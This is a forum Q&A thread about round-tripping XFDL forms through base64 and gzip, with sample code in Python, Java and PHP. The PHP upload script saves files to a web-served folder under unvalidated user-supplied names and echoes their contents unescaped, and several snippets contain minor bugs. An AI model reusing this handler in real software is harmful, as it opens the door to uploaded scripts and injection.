If my thinking is correct, the original file and the re-encoded file should be equal. If I put yourform.xfdl and yourform_reencoded.xfdl into beyond compare, however, they do not match up. Also, the original file can be viewed in an http://www.grants.gov/help/download_software.jsp#pureedge">.xfdl viewer. The viewer says that the re-encoded xfdl is unreadable.
I have also tried uuenview to re-encode in base64, it also produces the same results. Any help would be appreciated.
As far as I know you cannot find the compression level of an already compressed file. When you are compressing the file you can specify the compression level with -# where the # is from 1 to 9 (1 being the fastest compression and 9 being the most compressed file). In practice you should never compare a compressed file with one that has been extracted and recompressed, slight variations can easily crop up. In your case I would compare the base64 encoded versions instead of the gzip'd versions.
Check these out:
http://www.ourada.org/blog/archives/375
http://www.ourada.org/blog/archives/390
They are in Python, not Ruby, but that should get you pretty close.
And the algorithm is actually for files with header 'application/x-xfdl;content-encoding="asc-gzip"' rather than 'application/vnd.xfdl; content-encoding="base64-gzip"'
But the good news is that PureEdge (aka IBM Lotus Forms) will open that format with no problem.
Then to top it off, here's a base64-gzip decode (in Python) so you can make the full round-trip:
with open(filename, 'r') as f:
header = f.readline()
if header == 'application/vnd.xfdl; content-encoding="base64-gzip"\n':
decoded = b''
for line in f:
decoded += base64.b64decode(line.encode("ISO-8859-1"))
xml = zlib.decompress(decoded, zlib.MAX_WBITS + 16)
I did this in Java with the help of the Base64 class from http://iharder.net/base64.
I've been working on an application to do form manipulation in Java. I decode the file, create an DOM document from the XML then write it back to file.
My code in Java to read the file looks like this:
public XFDLDocument(String inputFile)
throws IOException,
ParserConfigurationException,
SAXException
{
fileLocation = inputFile;
try{
//create file object
File f = new File(inputFile);
if(!f.exists()) {
throw new IOException("Specified File could not be found!");
}
//open file stream from file
FileInputStream fis = new FileInputStream(inputFile);
//Skip past the MIME header
fis.skip(FILE_HEADER_BLOCK.length());
//Decompress from base 64
Base64.InputStream bis = new Base64.InputStream(fis,
Base64.DECODE);
//UnZIP the resulting stream
GZIPInputStream gis = new GZIPInputStream(bis);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
doc = db.parse(gis);
gis.close();
bis.close();
fis.close();
}
catch (ParserConfigurationException pce) {
throw new ParserConfigurationException("Error parsing XFDL from file.");
}
catch (SAXException saxe) {
throw new SAXException("Error parsing XFDL into XML Document.");
}
}
My code in java looks like this to write the file to disk:
/**
* Saves the current document to the specified location
* #param destination Desired destination for the file.
* #param asXML True if output needs should be as un-encoded XML not Base64/GZIP
* #throws IOException File cannot be created at specified location
* #throws TransformerConfigurationExample
* #throws TransformerException
*/
public void saveFile(String destination, boolean asXML)
throws IOException,
TransformerConfigurationException,
TransformerException
{
BufferedWriter bf = new BufferedWriter(new FileWriter(destination));
bf.write(FILE_HEADER_BLOCK);
bf.newLine();
bf.flush();
bf.close();
OutputStream outStream;
if(!asXML) {
outStream = new GZIPOutputStream(
new Base64.OutputStream(
new FileOutputStream(destination, true)));
} else {
outStream = new FileOutputStream(destination, true);
}
Transformer t = TransformerFactory.newInstance().newTransformer();
t.transform(new DOMSource(doc), new StreamResult(outStream));
outStream.flush();
outStream.close();
}
Hope that helps.
I've been working on something like that and this should work for php. You must have a writable tmp folder and the php file be named example.php!
<?php
function gzdecode($data) {
$len = strlen($data);
if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
echo "FILE NOT GZIP FORMAT";
return null; // Not GZIP format (See RFC 1952)
}
$method = ord(substr($data,2,1)); // Compression method
$flags = ord(substr($data,3,1)); // Flags
if ($flags & 31 != $flags) {
// Reserved bits are set -- NOT ALLOWED by RFC 1952
echo "RESERVED BITS ARE SET. VERY BAD";
return null;
}
// NOTE: $mtime may be negative (PHP integer limitations)
$mtime = unpack("V", substr($data,4,4));
$mtime = $mtime[1];
$xfl = substr($data,8,1);
$os = substr($data,8,1);
$headerlen = 10;
$extralen = 0;
$extra = "";
if ($flags & 4) {
// 2-byte length prefixed EXTRA data in header
if ($len - $headerlen - 2 < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$extralen = unpack("v",substr($data,8,2));
$extralen = $extralen[1];
if ($len - $headerlen - 2 - $extralen < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$extra = substr($data,10,$extralen);
$headerlen += 2 + $extralen;
}
$filenamelen = 0;
$filename = "";
if ($flags & 8) {
// C-style string file NAME data in header
if ($len - $headerlen - 1 < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$filenamelen = strpos(substr($data,8+$extralen),chr(0));
if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$filename = substr($data,$headerlen,$filenamelen);
$headerlen += $filenamelen + 1;
}
$commentlen = 0;
$comment = "";
if ($flags & 16) {
// C-style string COMMENT data in header
if ($len - $headerlen - 1 < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
return false; // Invalid header format
echo "INVALID FORMAT";
}
$comment = substr($data,$headerlen,$commentlen);
$headerlen += $commentlen + 1;
}
$headercrc = "";
if ($flags & 1) {
// 2-bytes (lowest order) of CRC32 on header present
if ($len - $headerlen - 2 < 8) {
return false; // Invalid format
echo "INVALID FORMAT";
}
$calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
$headercrc = unpack("v", substr($data,$headerlen,2));
$headercrc = $headercrc[1];
if ($headercrc != $calccrc) {
echo "BAD CRC";
return false; // Bad header CRC
}
$headerlen += 2;
}
// GZIP FOOTER - These be negative due to PHP's limitations
$datacrc = unpack("V",substr($data,-8,4));
$datacrc = $datacrc[1];
$isize = unpack("V",substr($data,-4));
$isize = $isize[1];
// Perform the decompression:
$bodylen = $len-$headerlen-8;
if ($bodylen < 1) {
// This should never happen - IMPLEMENTATION BUG!
echo "BIG OOPS";
return null;
}
$body = substr($data,$headerlen,$bodylen);
$data = "";
if ($bodylen > 0) {
switch ($method) {
case 8:
// Currently the only supported compression method:
$data = gzinflate($body);
break;
default:
// Unknown compression method
echo "UNKNOWN COMPRESSION METHOD";
return false;
}
} else {
// I'm not sure if zero-byte body content is allowed.
// Allow it for now... Do nothing...
echo "ITS EMPTY";
}
// Verifiy decompressed size and CRC32:
// NOTE: This may fail with large data sizes depending on how
// PHP's integer limitations affect strlen() since $isize
// may be negative for large sizes.
if ($isize != strlen($data) || crc32($data) != $datacrc) {
// Bad format! Length or CRC doesn't match!
echo "LENGTH OR CRC DO NOT MATCH";
return false;
}
return $data;
}
echo "<html><head></head><body>";
if (empty($_REQUEST['upload'])) {
echo <<<_END
<form enctype="multipart/form-data" action="example.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
<table>
<th>
<input name="uploadedfile" type="file" />
</th>
<tr>
<td><input type="submit" name="upload" value="Convert File" /></td>
</tr>
</table>
</form>
_END;
}
if (!empty($_REQUEST['upload'])) {
$file = "tmp/" . $_FILES['uploadedfile']['name'];
$orgfile = $_FILES['uploadedfile']['name'];
$name = str_replace(".xfdl", "", $orgfile);
$convertedfile = "tmp/" . $name . ".xml";
$compressedfile = "tmp/" . $name . ".gz";
$finalfile = "tmp/" . $name . "new.xfdl";
$target_path = "tmp/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
} else {
echo "There was an error uploading the file, please try again!";
}
$firstline = "application/vnd.xfdl; content-encoding=\"base64-gzip\"\n";
$data = file($file);
$data = array_slice($data, 1);
$raw = implode($data);
$decoded = base64_decode($raw);
$decompressed = gzdecode($decoded);
$compressed = gzencode($decompressed);
$encoded = base64_encode($compressed);
$decoded2 = base64_decode($encoded);
$decompressed2 = gzdecode($decoded2);
$header = bin2hex(substr($decoded, 0, 10));
$tail = bin2hex(substr($decoded, -8));
$header2 = bin2hex(substr($compressed, 0, 10));
$tail2 = bin2hex(substr($compressed, -8));
$header3 = bin2hex(substr($decoded2, 0, 10));
$tail3 = bin2hex(substr($decoded2, -8));
$filehandle = fopen($compressedfile, 'w');
fwrite($filehandle, $decoded);
fclose($filehandle);
$filehandle = fopen($convertedfile, 'w');
fwrite($filehandle, $decompressed);
fclose($filehandle);
$filehandle = fopen($finalfile, 'w');
fwrite($filehandle, $firstline);
fwrite($filehandle, $encoded);
fclose($filehandle);
echo "<center>";
echo "<table style='text-align:center' >";
echo "<tr><th>Stage 1</th>";
echo "<th>Stage 2</th>";
echo "<th>Stage 3</th></tr>";
echo "<tr><td>RAW DATA -></td><td>DECODED DATA -></td><td>UNCOMPRESSED DATA -></td></tr>";
echo "<tr><td>LENGTH: ".strlen($raw)."</td>";
echo "<td>LENGTH: ".strlen($decoded)."</td>";
echo "<td>LENGTH: ".strlen($decompressed)."</td></tr>";
echo "<tr><td><a href='tmp/".$orgfile."'/>ORIGINAL</a></td><td>GZIP HEADER:".$header."</td><td><a href='".$convertedfile."'/>XML CONVERTED</a></td></tr>";
echo "<tr><td></td><td>GZIP TAIL:".$tail."</td><td></td></tr>";
echo "<tr><td><textarea cols='30' rows='20'>" . $raw . "</textarea></td>";
echo "<td><textarea cols='30' rows='20'>" . $decoded . "</textarea></td>";
echo "<td><textarea cols='30' rows='20'>" . $decompressed . "</textarea></td></tr>";
echo "<tr><th>Stage 6</th>";
echo "<th>Stage 5</th>";
echo "<th>Stage 4</th></tr>";
echo "<tr><td>ENCODED DATA <-</td><td>COMPRESSED DATA <-</td><td>UNCOMPRESSED DATA <-</td></tr>";
echo "<tr><td>LENGTH: ".strlen($encoded)."</td>";
echo "<td>LENGTH: ".strlen($compressed)."</td>";
echo "<td>LENGTH: ".strlen($decompressed)."</td></tr>";
echo "<tr><td></td><td>GZIP HEADER:".$header2."</td><td></td></tr>";
echo "<tr><td></td><td>GZIP TAIL:".$tail2."</td><td></td></tr>";
echo "<tr><td><a href='".$finalfile."'/>FINAL FILE</a></td><td><a href='".$compressedfile."'/>RE-COMPRESSED FILE</a></td><td></td></tr>";
echo "<tr><td><textarea cols='30' rows='20'>" . $encoded . "</textarea></td>";
echo "<td><textarea cols='30' rows='20'>" . $compressed . "</textarea></td>";
echo "<td><textarea cols='30' rows='20'>" . $decompressed . "</textarea></td></tr>";
echo "</table>";
echo "</center>";
}
echo "</body></html>";
?>
You'll need to put the following line at the beginning of the XFDL file:
application/vnd.xfdl; content-encoding="base64-gzip"
After you've generated the base64-encoded file, open it in a text editor and paste the line above on the first line. Ensure that the base64'ed block starts at the beginning of the second line.
Save it and try it in the Viewer! If it still does not work, it may be that the changes that were made to the XML made it non-compliant in some manner. In this case, after the XML has been modified, but before it has been gzipped and base64 encoded, save it with an .xfdl file extension and try opening it with the Viewer tool. The viewer should be able to parse and display the uncompressed / unencoded file if it is in a valid XFDL format.
Different implementations of the gzip algorithm will always produce slightly different but still correct files, also the compression level of the original file may be different then what you are running it at.
gzip will put the filename in the header of file, so that a gzipped file vary in length depending on the filename of the uncompressed file.
If gzip acts on a stream, the filename is omitted and the file is a bit shorter, so the following should work:
gzip yourform-unpacked.xml.gz
Then re-encoded in base-64:
base64 -e yourform-unpacked.xml.gz yourform_reencoded.xfdl
maybe this will produce a file of the same length
Interesting, I'll give it a shot. The variations aren't slight, however. The newly encoded file is longer and when comparing the binary of the before and after, the data hardly matches up at all.
Before (the first three lines)
H4sIAAAAAAAAC+19eZOiyNb3/34K3r4RT/WEU40ssvTtrhuIuKK44Bo3YoJdFAFZ3D79C6hVVhUq
dsnUVN/qmIkSOLlwlt/JPCfJ/PGf9dwAlorj6pb58wv0LfcFUEzJknVT+/ml2uXuCSJP3kNf/vOQ
+TEsFVkgoDfdn18mnmd/B8HVavWt5TsKI2vKN8magyENiH3Lf9kRfpd817PmF+jpiOhQRFZcXTMV
After (the first three lines):
H4sICJ/YnEgAAzEyNDQ2LTExNjk2NzUueGZkbC54bWwA7D1pU+JK19/9FV2+H5wpByEhJMRH
uRUgCMom4DBYt2oqkAZyDQlmQZ1f/3YSNqGzKT3oDH6RdE4vOXuf08vFP88TFcygYSq6dnlM
naWOAdQGuqxoo8vjSruRyGYzfII6/id3dPGjVKwCBK+Zl8djy5qeJ5NPT09nTduAojyCZwN9
As you can see H4SI match up, then after that it's pandemonium.